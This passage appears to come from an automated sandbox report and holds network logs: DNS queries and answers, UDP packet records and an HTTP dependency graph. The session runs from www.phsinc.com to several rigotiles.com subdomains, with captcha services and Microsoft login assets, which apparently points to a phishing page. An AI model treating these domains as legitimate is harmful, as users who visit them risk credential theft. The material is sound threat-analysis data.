Oct 31, 2024 21:54:50.800015926 CET	62373	53	192.168.2.16	1.1.1.1
Oct 31, 2024 21:54:50.800170898 CET	52064	53	192.168.2.16	1.1.1.1
Oct 31, 2024 21:54:50.809201956 CET	53	62373	1.1.1.1	192.168.2.16
Oct 31, 2024 21:54:50.810096979 CET	53	52064	1.1.1.1	192.168.2.16
Oct 31, 2024 21:54:50.826874971 CET	61195	53	192.168.2.16	1.1.1.1
Oct 31, 2024 21:54:50.827145100 CET	55064	53	192.168.2.16	1.1.1.1
Oct 31, 2024 21:54:50.833971024 CET	53	61195	1.1.1.1	192.168.2.16
Oct 31, 2024 21:54:50.834130049 CET	53	55064	1.1.1.1	192.168.2.16
Oct 31, 2024 21:54:50.923528910 CET	53	62530	1.1.1.1	192.168.2.16
Oct 31, 2024 21:54:51.407567978 CET	63203	53	192.168.2.16	1.1.1.1
Oct 31, 2024 21:54:51.407718897 CET	62225	53	192.168.2.16	1.1.1.1
Oct 31, 2024 21:54:51.413749933 CET	56866	53	192.168.2.16	1.1.1.1
Oct 31, 2024 21:54:51.413985014 CET	60961	53	192.168.2.16	1.1.1.1
Oct 31, 2024 21:54:51.414303064 CET	53	62225	1.1.1.1	192.168.2.16
Oct 31, 2024 21:54:51.414602995 CET	53	63203	1.1.1.1	192.168.2.16
Oct 31, 2024 21:54:51.420763016 CET	53	56866	1.1.1.1	192.168.2.16
Oct 31, 2024 21:54:51.421025991 CET	53	60961	1.1.1.1	192.168.2.16
Oct 31, 2024 21:54:51.842211962 CET	52748	53	192.168.2.16	1.1.1.1
Oct 31, 2024 21:54:51.842473984 CET	64611	53	192.168.2.16	1.1.1.1
Oct 31, 2024 21:54:51.848922014 CET	53	52748	1.1.1.1	192.168.2.16
Oct 31, 2024 21:54:51.850352049 CET	53	64611	1.1.1.1	192.168.2.16
Oct 31, 2024 21:54:52.140211105 CET	61568	53	192.168.2.16	1.1.1.1
Oct 31, 2024 21:54:52.140388966 CET	55790	53	192.168.2.16	1.1.1.1
Oct 31, 2024 21:54:52.147272110 CET	53	61568	1.1.1.1	192.168.2.16
Oct 31, 2024 21:54:52.147886038 CET	53	55790	1.1.1.1	192.168.2.16
Oct 31, 2024 21:54:53.024699926 CET	51033	53	192.168.2.16	1.1.1.1
Oct 31, 2024 21:54:53.024838924 CET	59863	53	192.168.2.16	1.1.1.1
Oct 31, 2024 21:54:53.031940937 CET	53	59863	1.1.1.1	192.168.2.16
Oct 31, 2024 21:54:53.032828093 CET	53	51033	1.1.1.1	192.168.2.16
Oct 31, 2024 21:54:54.414123058 CET	60524	53	192.168.2.16	1.1.1.1
Oct 31, 2024 21:54:54.414263010 CET	49917	53	192.168.2.16	1.1.1.1
Oct 31, 2024 21:54:54.421034098 CET	53	60524	1.1.1.1	192.168.2.16
Oct 31, 2024 21:54:54.421099901 CET	53	49917	1.1.1.1	192.168.2.16
Oct 31, 2024 21:54:54.625566959 CET	61173	53	192.168.2.16	1.1.1.1
Oct 31, 2024 21:54:54.625874043 CET	56502	53	192.168.2.16	1.1.1.1
Oct 31, 2024 21:54:58.693473101 CET	53	56940	1.1.1.1	192.168.2.16
Oct 31, 2024 21:55:03.467180014 CET	49620	53	192.168.2.16	1.1.1.1
Oct 31, 2024 21:55:03.467338085 CET	62127	53	192.168.2.16	1.1.1.1
Oct 31, 2024 21:55:03.483855009 CET	53	62127	1.1.1.1	192.168.2.16
Oct 31, 2024 21:55:03.504287958 CET	53	49620	1.1.1.1	192.168.2.16
Oct 31, 2024 21:55:04.664108992 CET	53	62766	1.1.1.1	192.168.2.16
Oct 31, 2024 21:55:06.339896917 CET	51623	53	192.168.2.16	1.1.1.1
Oct 31, 2024 21:55:06.340068102 CET	62557	53	192.168.2.16	1.1.1.1
Oct 31, 2024 21:55:06.346719027 CET	53	51623	1.1.1.1	192.168.2.16
Oct 31, 2024 21:55:06.347138882 CET	53	62557	1.1.1.1	192.168.2.16
Oct 31, 2024 21:55:07.240669012 CET	53714	53	192.168.2.16	1.1.1.1
Oct 31, 2024 21:55:07.240825891 CET	62904	53	192.168.2.16	1.1.1.1
Oct 31, 2024 21:55:07.253871918 CET	53	62904	1.1.1.1	192.168.2.16
Oct 31, 2024 21:55:07.261332035 CET	53	53714	1.1.1.1	192.168.2.16
Oct 31, 2024 21:55:08.006793976 CET	65337	53	192.168.2.16	1.1.1.1
Oct 31, 2024 21:55:08.006930113 CET	54390	53	192.168.2.16	1.1.1.1
Oct 31, 2024 21:55:08.014177084 CET	53	54390	1.1.1.1	192.168.2.16
Oct 31, 2024 21:55:08.014255047 CET	53	65337	1.1.1.1	192.168.2.16
Oct 31, 2024 21:55:09.144906044 CET	49338	53	192.168.2.16	1.1.1.1
Oct 31, 2024 21:55:09.145145893 CET	55022	53	192.168.2.16	1.1.1.1
Oct 31, 2024 21:55:09.158967018 CET	53	49338	1.1.1.1	192.168.2.16
Oct 31, 2024 21:55:09.161243916 CET	53	55022	1.1.1.1	192.168.2.16
Oct 31, 2024 21:55:09.364362001 CET	59904	53	192.168.2.16	1.1.1.1
Oct 31, 2024 21:55:09.364558935 CET	53619	53	192.168.2.16	1.1.1.1
Oct 31, 2024 21:55:09.373374939 CET	53	59904	1.1.1.1	192.168.2.16
Oct 31, 2024 21:55:09.705784082 CET	53	53619	1.1.1.1	192.168.2.16
Oct 31, 2024 21:55:13.498116016 CET	53	64219	162.159.36.2	192.168.2.16
Oct 31, 2024 21:55:14.722199917 CET	60036	53	192.168.2.16	1.1.1.1
Oct 31, 2024 21:55:15.062846899 CET	53	60036	1.1.1.1	192.168.2.16
Oct 31, 2024 21:55:17.493396044 CET	62052	53	192.168.2.16	1.1.1.1
Oct 31, 2024 21:55:17.502264023 CET	53	62052	1.1.1.1	192.168.2.16
Oct 31, 2024 21:55:19.675806999 CET	64549	53	192.168.2.16	1.1.1.1
Oct 31, 2024 21:55:19.693144083 CET	53	64549	1.1.1.1	192.168.2.16
Oct 31, 2024 21:55:22.360055923 CET	65185	53	192.168.2.16	1.1.1.1
Oct 31, 2024 21:55:22.376236916 CET	53	65185	1.1.1.1	192.168.2.16
Oct 31, 2024 21:55:24.639749050 CET	64379	53	192.168.2.16	1.1.1.1
Oct 31, 2024 21:55:24.677989006 CET	53	64379	1.1.1.1	192.168.2.16
Oct 31, 2024 21:55:49.529356003 CET	138	138	192.168.2.16	192.168.2.255
Oct 31, 2024 21:55:50.883236885 CET	64835	53	192.168.2.16	1.1.1.1
Oct 31, 2024 21:55:50.889913082 CET	53	64835	1.1.1.1	192.168.2.16
Oct 31, 2024 21:55:54.634483099 CET	50118	53	192.168.2.16	1.1.1.1
Oct 31, 2024 21:55:54.634561062 CET	49631	53	192.168.2.16	1.1.1.1
Oct 31, 2024 21:55:54.641441107 CET	53	49631	1.1.1.1	192.168.2.16

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Oct 31, 2024 21:55:09.147728920 CET	192.168.2.16	1.1.1.1	c2e8	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 31, 2024 21:54:46.921202898 CET	192.168.2.16	1.1.1.1	0x41ee	Standard query (0)	www.phsinc.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:54:46.921395063 CET	192.168.2.16	1.1.1.1	0xd5ed	Standard query (0)	www.phsinc.com	65	IN (0x0001)	false
Oct 31, 2024 21:54:48.357032061 CET	192.168.2.16	1.1.1.1	0xd89e	Standard query (0)	mail.rigotiles.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:54:48.357176065 CET	192.168.2.16	1.1.1.1	0xe198	Standard query (0)	mail.rigotiles.com	65	IN (0x0001)	false
Oct 31, 2024 21:54:49.619406939 CET	192.168.2.16	1.1.1.1	0x59e2	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:54:49.619626045 CET	192.168.2.16	1.1.1.1	0x39db	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Oct 31, 2024 21:54:49.620125055 CET	192.168.2.16	1.1.1.1	0x8968	Standard query (0)	js.hcaptcha.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:54:49.620456934 CET	192.168.2.16	1.1.1.1	0x4d7c	Standard query (0)	js.hcaptcha.com	65	IN (0x0001)	false
Oct 31, 2024 21:54:49.622155905 CET	192.168.2.16	1.1.1.1	0x12b6	Standard query (0)	i.ibb.co	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:54:49.622307062 CET	192.168.2.16	1.1.1.1	0x3f00	Standard query (0)	i.ibb.co	65	IN (0x0001)	false
Oct 31, 2024 21:54:50.785892010 CET	192.168.2.16	1.1.1.1	0x28f9	Standard query (0)	js.hcaptcha.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:54:50.786020041 CET	192.168.2.16	1.1.1.1	0x5703	Standard query (0)	js.hcaptcha.com	65	IN (0x0001)	false
Oct 31, 2024 21:54:50.800015926 CET	192.168.2.16	1.1.1.1	0xe51c	Standard query (0)	newassets.hcaptcha.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:54:50.800170898 CET	192.168.2.16	1.1.1.1	0xf450	Standard query (0)	newassets.hcaptcha.com	65	IN (0x0001)	false
Oct 31, 2024 21:54:50.826874971 CET	192.168.2.16	1.1.1.1	0xd2a1	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:54:50.827145100 CET	192.168.2.16	1.1.1.1	0xae86	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 31, 2024 21:54:51.407567978 CET	192.168.2.16	1.1.1.1	0x6467	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:54:51.407718897 CET	192.168.2.16	1.1.1.1	0xde70	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Oct 31, 2024 21:54:51.413749933 CET	192.168.2.16	1.1.1.1	0x956	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:54:51.413985014 CET	192.168.2.16	1.1.1.1	0xf498	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Oct 31, 2024 21:54:51.842211962 CET	192.168.2.16	1.1.1.1	0x7a61	Standard query (0)	i.ibb.co	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:54:51.842473984 CET	192.168.2.16	1.1.1.1	0x192e	Standard query (0)	i.ibb.co	65	IN (0x0001)	false
Oct 31, 2024 21:54:52.140211105 CET	192.168.2.16	1.1.1.1	0x101	Standard query (0)	api2.hcaptcha.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:54:52.140388966 CET	192.168.2.16	1.1.1.1	0x24b9	Standard query (0)	api2.hcaptcha.com	65	IN (0x0001)	false
Oct 31, 2024 21:54:53.024699926 CET	192.168.2.16	1.1.1.1	0x8800	Standard query (0)	api2.hcaptcha.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:54:53.024838924 CET	192.168.2.16	1.1.1.1	0x543b	Standard query (0)	api2.hcaptcha.com	65	IN (0x0001)	false
Oct 31, 2024 21:54:54.414123058 CET	192.168.2.16	1.1.1.1	0xa43a	Standard query (0)	newassets.hcaptcha.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:54:54.414263010 CET	192.168.2.16	1.1.1.1	0x24c8	Standard query (0)	newassets.hcaptcha.com	65	IN (0x0001)	false
Oct 31, 2024 21:54:54.625566959 CET	192.168.2.16	1.1.1.1	0x2aff	Standard query (0)	identity.nel.measure.office.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:54:54.625874043 CET	192.168.2.16	1.1.1.1	0x881b	Standard query (0)	identity.nel.measure.office.net	65	IN (0x0001)	false
Oct 31, 2024 21:55:03.467180014 CET	192.168.2.16	1.1.1.1	0x5713	Standard query (0)	react.rigotiles.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:55:03.467338085 CET	192.168.2.16	1.1.1.1	0xd39b	Standard query (0)	react.rigotiles.com	65	IN (0x0001)	false
Oct 31, 2024 21:55:06.339896917 CET	192.168.2.16	1.1.1.1	0xb049	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:55:06.340068102 CET	192.168.2.16	1.1.1.1	0x77fa	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Oct 31, 2024 21:55:07.240669012 CET	192.168.2.16	1.1.1.1	0x3d2f	Standard query (0)	mail.rigotiles.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:55:07.240825891 CET	192.168.2.16	1.1.1.1	0x9f0e	Standard query (0)	mail.rigotiles.com	65	IN (0x0001)	false
Oct 31, 2024 21:55:08.006793976 CET	192.168.2.16	1.1.1.1	0xd77e	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:55:08.006930113 CET	192.168.2.16	1.1.1.1	0x7ca5	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Oct 31, 2024 21:55:09.144906044 CET	192.168.2.16	1.1.1.1	0x65ef	Standard query (0)	vn3hg.rigotiles.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:55:09.145145893 CET	192.168.2.16	1.1.1.1	0xf1b	Standard query (0)	vn3hg.rigotiles.com	65	IN (0x0001)	false
Oct 31, 2024 21:55:09.364362001 CET	192.168.2.16	1.1.1.1	0x9277	Standard query (0)	ywnjb.rigotiles.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:55:09.364558935 CET	192.168.2.16	1.1.1.1	0x3758	Standard query (0)	ywnjb.rigotiles.com	65	IN (0x0001)	false
Oct 31, 2024 21:55:14.722199917 CET	192.168.2.16	1.1.1.1	0x9cdf	Standard query (0)	206.23.85.13.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Oct 31, 2024 21:55:17.493396044 CET	192.168.2.16	1.1.1.1	0x91a2	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:55:19.675806999 CET	192.168.2.16	1.1.1.1	0x84ac	Standard query (0)	vn3hg.rigotiles.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:55:22.360055923 CET	192.168.2.16	1.1.1.1	0x1b8	Standard query (0)	mail.rigotiles.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:55:24.639749050 CET	192.168.2.16	1.1.1.1	0xa9eb	Standard query (0)	ywnjb.rigotiles.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:55:50.883236885 CET	192.168.2.16	1.1.1.1	0xdea9	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:55:54.634483099 CET	192.168.2.16	1.1.1.1	0xe55c	Standard query (0)	identity.nel.measure.office.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:55:54.634561062 CET	192.168.2.16	1.1.1.1	0x5166	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 31, 2024 21:54:46.934376001 CET	1.1.1.1	192.168.2.16	0xd5ed	No error (0)	www.phsinc.com	phsinc.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 21:54:47.085030079 CET	1.1.1.1	192.168.2.16	0x41ee	No error (0)	www.phsinc.com	phsinc.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 21:54:47.085030079 CET	1.1.1.1	192.168.2.16	0x41ee	No error (0)	phsinc.com		3.132.253.175	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:54:48.394630909 CET	1.1.1.1	192.168.2.16	0xd89e	No error (0)	mail.rigotiles.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:54:48.394630909 CET	1.1.1.1	192.168.2.16	0xd89e	No error (0)	mail.rigotiles.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:54:49.626543999 CET	1.1.1.1	192.168.2.16	0x59e2	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:54:49.626543999 CET	1.1.1.1	192.168.2.16	0x59e2	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:54:49.627486944 CET	1.1.1.1	192.168.2.16	0x39db	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Oct 31, 2024 21:54:49.627847910 CET	1.1.1.1	192.168.2.16	0x8968	No error (0)	js.hcaptcha.com		104.19.230.21	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:54:49.627847910 CET	1.1.1.1	192.168.2.16	0x8968	No error (0)	js.hcaptcha.com		104.19.229.21	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:54:49.628140926 CET	1.1.1.1	192.168.2.16	0x4d7c	No error (0)	js.hcaptcha.com			65	IN (0x0001)	false
Oct 31, 2024 21:54:49.628931046 CET	1.1.1.1	192.168.2.16	0x12b6	No error (0)	i.ibb.co		162.19.58.157	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:54:49.628931046 CET	1.1.1.1	192.168.2.16	0x12b6	No error (0)	i.ibb.co		162.19.58.160	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:54:49.628931046 CET	1.1.1.1	192.168.2.16	0x12b6	No error (0)	i.ibb.co		162.19.58.158	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:54:49.628931046 CET	1.1.1.1	192.168.2.16	0x12b6	No error (0)	i.ibb.co		162.19.58.159	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:54:49.628931046 CET	1.1.1.1	192.168.2.16	0x12b6	No error (0)	i.ibb.co		162.19.58.161	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:54:49.628931046 CET	1.1.1.1	192.168.2.16	0x12b6	No error (0)	i.ibb.co		162.19.58.156	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:54:50.793720961 CET	1.1.1.1	192.168.2.16	0x28f9	No error (0)	js.hcaptcha.com		104.19.229.21	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:54:50.793720961 CET	1.1.1.1	192.168.2.16	0x28f9	No error (0)	js.hcaptcha.com		104.19.230.21	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:54:50.793755054 CET	1.1.1.1	192.168.2.16	0x5703	No error (0)	js.hcaptcha.com			65	IN (0x0001)	false
Oct 31, 2024 21:54:50.809201956 CET	1.1.1.1	192.168.2.16	0xe51c	No error (0)	newassets.hcaptcha.com		104.19.230.21	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:54:50.809201956 CET	1.1.1.1	192.168.2.16	0xe51c	No error (0)	newassets.hcaptcha.com		104.19.229.21	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:54:50.810096979 CET	1.1.1.1	192.168.2.16	0xf450	No error (0)	newassets.hcaptcha.com			65	IN (0x0001)	false
Oct 31, 2024 21:54:50.833971024 CET	1.1.1.1	192.168.2.16	0xd2a1	No error (0)	www.google.com		216.58.206.68	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:54:50.834130049 CET	1.1.1.1	192.168.2.16	0xae86	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 31, 2024 21:54:51.414303064 CET	1.1.1.1	192.168.2.16	0xde70	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Oct 31, 2024 21:54:51.414602995 CET	1.1.1.1	192.168.2.16	0x6467	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:54:51.414602995 CET	1.1.1.1	192.168.2.16	0x6467	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:54:51.420763016 CET	1.1.1.1	192.168.2.16	0x956	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:54:51.420763016 CET	1.1.1.1	192.168.2.16	0x956	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:54:51.421025991 CET	1.1.1.1	192.168.2.16	0xf498	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Oct 31, 2024 21:54:51.848922014 CET	1.1.1.1	192.168.2.16	0x7a61	No error (0)	i.ibb.co		169.197.85.95	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:54:52.147272110 CET	1.1.1.1	192.168.2.16	0x101	No error (0)	api2.hcaptcha.com		104.19.230.21	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:54:52.147272110 CET	1.1.1.1	192.168.2.16	0x101	No error (0)	api2.hcaptcha.com		104.19.229.21	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:54:52.147886038 CET	1.1.1.1	192.168.2.16	0x24b9	No error (0)	api2.hcaptcha.com			65	IN (0x0001)	false
Oct 31, 2024 21:54:53.031940937 CET	1.1.1.1	192.168.2.16	0x543b	No error (0)	api2.hcaptcha.com			65	IN (0x0001)	false
Oct 31, 2024 21:54:53.032828093 CET	1.1.1.1	192.168.2.16	0x8800	No error (0)	api2.hcaptcha.com		104.19.230.21	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:54:53.032828093 CET	1.1.1.1	192.168.2.16	0x8800	No error (0)	api2.hcaptcha.com		104.19.229.21	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:54:54.421034098 CET	1.1.1.1	192.168.2.16	0xa43a	No error (0)	newassets.hcaptcha.com		104.19.229.21	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:54:54.421034098 CET	1.1.1.1	192.168.2.16	0xa43a	No error (0)	newassets.hcaptcha.com		104.19.230.21	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:54:54.421099901 CET	1.1.1.1	192.168.2.16	0x24c8	No error (0)	newassets.hcaptcha.com			65	IN (0x0001)	false
Oct 31, 2024 21:54:54.632551908 CET	1.1.1.1	192.168.2.16	0x2aff	No error (0)	identity.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 21:54:54.633614063 CET	1.1.1.1	192.168.2.16	0x881b	No error (0)	identity.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 21:55:03.483855009 CET	1.1.1.1	192.168.2.16	0xd39b	No error (0)	react.rigotiles.com			65	IN (0x0001)	false
Oct 31, 2024 21:55:03.504287958 CET	1.1.1.1	192.168.2.16	0x5713	No error (0)	react.rigotiles.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:55:03.504287958 CET	1.1.1.1	192.168.2.16	0x5713	No error (0)	react.rigotiles.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:55:06.346719027 CET	1.1.1.1	192.168.2.16	0xb049	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 21:55:06.346719027 CET	1.1.1.1	192.168.2.16	0xb049	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 21:55:06.346719027 CET	1.1.1.1	192.168.2.16	0xb049	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:55:06.347138882 CET	1.1.1.1	192.168.2.16	0x77fa	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 21:55:06.347138882 CET	1.1.1.1	192.168.2.16	0x77fa	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 21:55:07.253871918 CET	1.1.1.1	192.168.2.16	0x9f0e	No error (0)	mail.rigotiles.com			65	IN (0x0001)	false
Oct 31, 2024 21:55:07.261332035 CET	1.1.1.1	192.168.2.16	0x3d2f	No error (0)	mail.rigotiles.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:55:07.261332035 CET	1.1.1.1	192.168.2.16	0x3d2f	No error (0)	mail.rigotiles.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:55:08.014177084 CET	1.1.1.1	192.168.2.16	0x7ca5	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 21:55:08.014177084 CET	1.1.1.1	192.168.2.16	0x7ca5	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 21:55:08.014255047 CET	1.1.1.1	192.168.2.16	0xd77e	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 21:55:08.014255047 CET	1.1.1.1	192.168.2.16	0xd77e	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 21:55:08.014255047 CET	1.1.1.1	192.168.2.16	0xd77e	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:55:09.137083054 CET	1.1.1.1	192.168.2.16	0xb380	No error (0)	shed.dual-low.s-part-0039.t-0009.t-msedge.net	s-part-0039.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 21:55:09.137083054 CET	1.1.1.1	192.168.2.16	0xb380	No error (0)	s-part-0039.t-0009.t-msedge.net		13.107.246.67	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:55:09.158967018 CET	1.1.1.1	192.168.2.16	0x65ef	No error (0)	vn3hg.rigotiles.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:55:09.158967018 CET	1.1.1.1	192.168.2.16	0x65ef	No error (0)	vn3hg.rigotiles.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:55:09.161243916 CET	1.1.1.1	192.168.2.16	0xf1b	No error (0)	vn3hg.rigotiles.com			65	IN (0x0001)	false
Oct 31, 2024 21:55:09.373374939 CET	1.1.1.1	192.168.2.16	0x9277	No error (0)	ywnjb.rigotiles.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:55:09.373374939 CET	1.1.1.1	192.168.2.16	0x9277	No error (0)	ywnjb.rigotiles.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:55:09.705784082 CET	1.1.1.1	192.168.2.16	0x3758	No error (0)	ywnjb.rigotiles.com			65	IN (0x0001)	false
Oct 31, 2024 21:55:15.062846899 CET	1.1.1.1	192.168.2.16	0x9cdf	Name error (3)	206.23.85.13.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Oct 31, 2024 21:55:17.502264023 CET	1.1.1.1	192.168.2.16	0x91a2	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 21:55:17.502264023 CET	1.1.1.1	192.168.2.16	0x91a2	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 21:55:17.502264023 CET	1.1.1.1	192.168.2.16	0x91a2	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:55:19.693144083 CET	1.1.1.1	192.168.2.16	0x84ac	No error (0)	vn3hg.rigotiles.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:55:19.693144083 CET	1.1.1.1	192.168.2.16	0x84ac	No error (0)	vn3hg.rigotiles.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:55:22.376236916 CET	1.1.1.1	192.168.2.16	0x1b8	No error (0)	mail.rigotiles.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:55:22.376236916 CET	1.1.1.1	192.168.2.16	0x1b8	No error (0)	mail.rigotiles.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:55:24.677989006 CET	1.1.1.1	192.168.2.16	0xa9eb	No error (0)	ywnjb.rigotiles.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:55:24.677989006 CET	1.1.1.1	192.168.2.16	0xa9eb	No error (0)	ywnjb.rigotiles.com		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:55:50.889913082 CET	1.1.1.1	192.168.2.16	0xdea9	No error (0)	www.google.com		216.58.212.164	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:55:54.641441107 CET	1.1.1.1	192.168.2.16	0x5166	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Oct 31, 2024 21:55:54.641879082 CET	1.1.1.1	192.168.2.16	0xe55c	No error (0)	identity.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

www.phsinc.com

mail.rigotiles.com

https:

js.hcaptcha.com

challenges.cloudflare.com

i.ibb.co

newassets.hcaptcha.com

api2.hcaptcha.com

